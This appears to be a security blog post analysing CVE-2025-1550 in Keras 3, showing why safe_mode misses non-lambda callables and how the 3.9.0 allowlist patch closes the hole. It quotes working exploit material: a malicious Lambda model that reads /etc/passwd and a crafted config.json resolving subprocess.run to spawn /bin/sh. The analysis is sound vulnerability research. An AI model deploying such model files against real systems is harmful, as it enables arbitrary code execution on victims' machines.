Keras 3's keras.saving.load_model(filepath) defaults to safe_mode=True. The function's docstring describes the flag verbatim: "Boolean, whether to disallow unsafe lambda deserialization. When safe_mode=False, loading an object has the potential to trigger arbitrary code execution." Both sentences are accurate. Neither prevents the Nuclei template at projectdiscovery/nuclei-templates/code/cves/2025/CVE-2025-1550.yaml, which calls load_model(path) with no arguments and executes os.popen("cat /etc/passwd").read() during predict(). The 3.9.0 patch closes the bug. The patch does not modify safe_mode. The flag is in the same function the patch changed, and the patch did not need it.
CVE-2025-1550: The safe_mode Check Is Not in the Patch
pattern
cve
proof of concept
safe_mode is a check on one class_name.
The decoder for a .keras archive's config.json is deserialize_keras_object in keras/src/saving/serialization_lib.py. In v3.8.0, the function's safe_mode branch is verbatim:
if config["class_name"] == "__lambda__":
if safe_mode:
raise ValueError(
"Requested the deserialization of a `lambda` object. "
"This carries a potential risk of arbitrary code execution "
"and thus it is disallowed by default. If you trust the "
"source of the saved model, you can pass `safe_mode=False` "
"to the loading function in order to allow `lambda` loading, "
"or call `keras.config.enable_unsafe_deserialization()`."
)
return python_utils.func_load(inner_config["value"])The check fires when, and only when, the config's class_name is the literal string "__lambda__". That marker is produced by exactly one place in the codebase, Lambda._serialize_function_to_config in keras/src/layers/core/lambda_layer.py, and only when the function being wrapped has __name__ == "<lambda>". Any other callable, including a def-defined function, a class instance with __call__, or any importable Python function, never produces the marker on save and never triggers the check on load.
Forty lines later, in the same function:
# Below: classes and functions.
module = config.get("module", None)
registered_name = config.get("registered_name", class_name)
if class_name == "function":
fn_name = inner_config
return _retrieve_class_or_fn(
fn_name,
registered_name,
module,
obj_type="function",
full_config=config,
custom_objects=custom_objects,
)
# ...
cls = _retrieve_class_or_fn(
class_name,
registered_name,
module,
obj_type="class",
full_config=config,
custom_objects=custom_objects,
)module and class_name come straight from config.json. _retrieve_class_or_fn is called with both. The safe_mode parameter is not threaded into the call, and the function's body does not consult safe_mode either. The same safe_mode value that raises on __lambda__ is in scope here and is read by no statement that runs.
The fork lives in the Lambda layer's own serializer.
In keras/src/layers/core/lambda_layer.py, v3.8.0:
def _serialize_function_to_config(self, fn):
if isinstance(fn, types.LambdaType) and fn.__name__ == "<lambda>":
code, defaults, closure = python_utils.func_dump(fn)
return {
"class_name": "__lambda__",
"config": {
"code": code,
"defaults": defaults,
"closure": closure,
},
}
elif callable(fn):
return serialization_lib.serialize_keras_object(fn)Both branches are valid serializations of the function inside a Lambda layer. The branch is selected on fn.__name__. Python's lambda x: ... syntax produces a function whose __name__ is "<lambda>"; the if branch fires, the resulting config carries the __lambda__ marker, and the loader's safe_mode check applies on the way back in. Python's def malicious_function(x): ... produces a function whose __name__ is "malicious_function"; the if test fails on the name comparison; the function falls through to serialize_keras_object, which produces:
{
"module": "__main__",
"class_name": "function",
"config": "malicious_function",
"registered_name": "malicious_function"
}No __lambda__ marker. On load, the class_name == "function" branch in deserialize_keras_object fires and resolves the name through _retrieve_class_or_fn, the path the safe_mode guard does not reach. The Lambda layer is the same Keras object in both cases. The serializer that built its config wrote two different JSON shapes for what is, at the language level, the same callable. One shape is gated. The other is not.
The Nuclei template chooses the def form. It does not need to bypass safe_mode. The flag never applied.
# Excerpted from CVE-2025-1550.yaml's python source field
def malicious_function(x):
result = os.popen("cat /etc/passwd").read()
print(result)
return x
input_layer = Input(shape=(1,))
lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
model = Model(inputs=input_layer, outputs=lambda_layer)
model.save("/tmp/malicious_model.keras")
loaded_model = load_model("/tmp/malicious_model.keras")
loaded_model.predict(np.array([[1.0]]), verbose=0)The save writes a .keras archive whose config.json references the function by module-and-name. The load defaults to safe_mode=True. The predict runs the function. The Nuclei runner matches root:.*:0:0: in stdout and reports a hit. The template's author did not write a single line of bypass logic.
The unguarded path resolves any module name to a callable.
_retrieve_class_or_fn in v3.8.0 has the following body, after the custom_objects lookup and the keras.* short-circuit both fail:
# Otherwise, attempt to retrieve the class object given the `module`
# and `class_name`. Import the module, find the class.
try:
mod = importlib.import_module(module)
except ModuleNotFoundError:
raise TypeError(
f"Could not deserialize {obj_type} '{name}' because "
f"its parent module {module} cannot be imported. "
f"Full object config: {full_config}"
)
obj = vars(mod).get(name, None)
# Special case for keras.metrics.metrics
if obj is None and registered_name is not None:
obj = vars(mod).get(registered_name, None)
if obj is not None:
return objThe arguments arrive from config.json. importlib.import_module will import any module the loader's sys.path can reach. vars(mod).get(name) returns any attribute by name. There is no allowlist of modules, no denylist of names, no consultation of safe_mode, and no requirement that the resulting object derive from a Keras class.
The caller, deserialize_keras_object, then has:
cls = _retrieve_class_or_fn(class_name, registered_name, module, ...)
if isinstance(cls, types.FunctionType):
return cls
if not hasattr(cls, "from_config"):
raise TypeError(...)When cls is a Python function, the deserializer returns it as-is. The "deserialized object" is the callable. When the surrounding Lambda layer is later invoked with arguments, it calls the callable with those arguments. The function-type early-return means a class with no from_config method, a constraint that would otherwise force the deserializer to instantiate through a Keras-aware path, is not required of the attacker's chosen target. Any callable in any importable module suffices.
The minimal exploit is a hand-crafted config.json inside a renamed-zip .keras archive. From the towerofhanoi.it writeup of this CVE:
{
"module": "subprocess",
"class_name": "run",
"inbound_nodes": [
{
"args": ["/bin/sh"],
"kwargs": {}
}
]
}_retrieve_class_or_fn("run", _, "subprocess", obj_type="class", ...) runs importlib.import_module("subprocess") and vars(subprocess).get("run", None). The result is subprocess.run. The function-type early-return hands it back unwrapped. The inbound_nodes args are forwarded by Keras's graph construction at call time, and subprocess.run("/bin/sh") executes. safe_mode=True is the default throughout. The flag's branch is never entered, because the marker the flag checks is never present.
The 3.9.0 patch does not extend safe_mode. It adds an allowlist.
The diff in _retrieve_class_or_fn, between v3.8.0 and v3.9.0, is twelve lines:
# Otherwise, attempt to retrieve the class object given the `module`
# and `class_name`. Import the module, find the class.
- try:
- mod = importlib.import_module(module)
- except ModuleNotFoundError:
- raise TypeError(
- f"Could not deserialize {obj_type} '{name}' because "
- f"its parent module {module} cannot be imported. "
- f"Full object config: {full_config}"
- )
- obj = vars(mod).get(name, None)
-
- # Special case for keras.metrics.metrics
- if obj is None and registered_name is not None:
- obj = vars(mod).get(registered_name, None)
-
- if obj is not None:
- return obj
+ package = module.split(".", maxsplit=1)[0]
+ if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
+ try:
+ mod = importlib.import_module(module)
+ obj = vars(mod).get(name, None)
+ if obj is not None:
+ return obj
+ except ModuleNotFoundError:
+ raise TypeError(
+ f"Could not deserialize {obj_type} '{name}' because "
+ f"its parent module {module} cannot be imported. "
+ f"Full object config: {full_config}"
+ )The post-patch _retrieve_class_or_fn will only call importlib.import_module(module) when the first dotted component of module is one of keras, keras_hub, keras_cv, or keras_nlp. subprocess, os, socket, pickle, posix, and every other module Python's path can reach no longer resolves through this function. safe_mode is not threaded into the function, and the __lambda__ block above it is unchanged.
The flag named safe_mode is in the same file, in the same function, twenty-three lines higher in v3.9.0 as in v3.8.0. It still raises on class_name == "__lambda__". It is still documented in load_model's public signature as the API surface for unsafe lambda deserialization. The control that closes CVE-2025-1550 is on a different surface entirely. The maintainers wrote both controls. They did not write the second control as an extension of the first.
The guard named the marker. The bug was at the sink.
This is the shape Sanitized The Secrets, Not The Sink names. A function applies a guard to one input shape the developer perceived as dangerous and omits the guard on a parallel input shape that flows into the same dangerous interpreter. The __lambda__ check's error message names the threat by name, "arbitrary code execution," and exists in the same function as the unguarded importlib.import_module call. The maintainer who wrote the check understood deserialization-as-code-execution as a category. The check was placed on the input form they imagined, not at the destination that actually fires.
ASUSTOR's vpn.cgi is the previous exhibit on this pattern at a smaller seam: two of three fields interpolated into a pppd peer config get the escape helper, the third does not, and the third reaches /bin/sh. Keras's deserialize_keras_object is the same asymmetry on a wider seam. The 3.9.0 fix moves the check from the input form to the destination: package in {"keras", ...} is destination-first, asking where the resolved callable can come from rather than which marker the wire used. That is the same shift the ASUSTOR fix made, applied to a Python deserializer instead of a CGI handler.
The 3.9.0 fix also follows the shape llama.cpp's RPC backend has refused to make across three CVEs: a per-call-site guard rather than a refactor of the deserializer itself. Keras's allowlist gates the function that reaches importlib. A future deserialization path that reaches an interpreter without going through _retrieve_class_or_fn would not be gated by the same allowlist. The flag named safe_mode is still in the function. The marker it checks is still __lambda__. The next attacker-controlled callable that reaches a sink through a route the patch did not enumerate produces the same primitive.
The Keras docstring is verbatim accurate. It says safe_mode disallows unsafe lambda deserialization. It says nothing else about safety, and it should not be read to.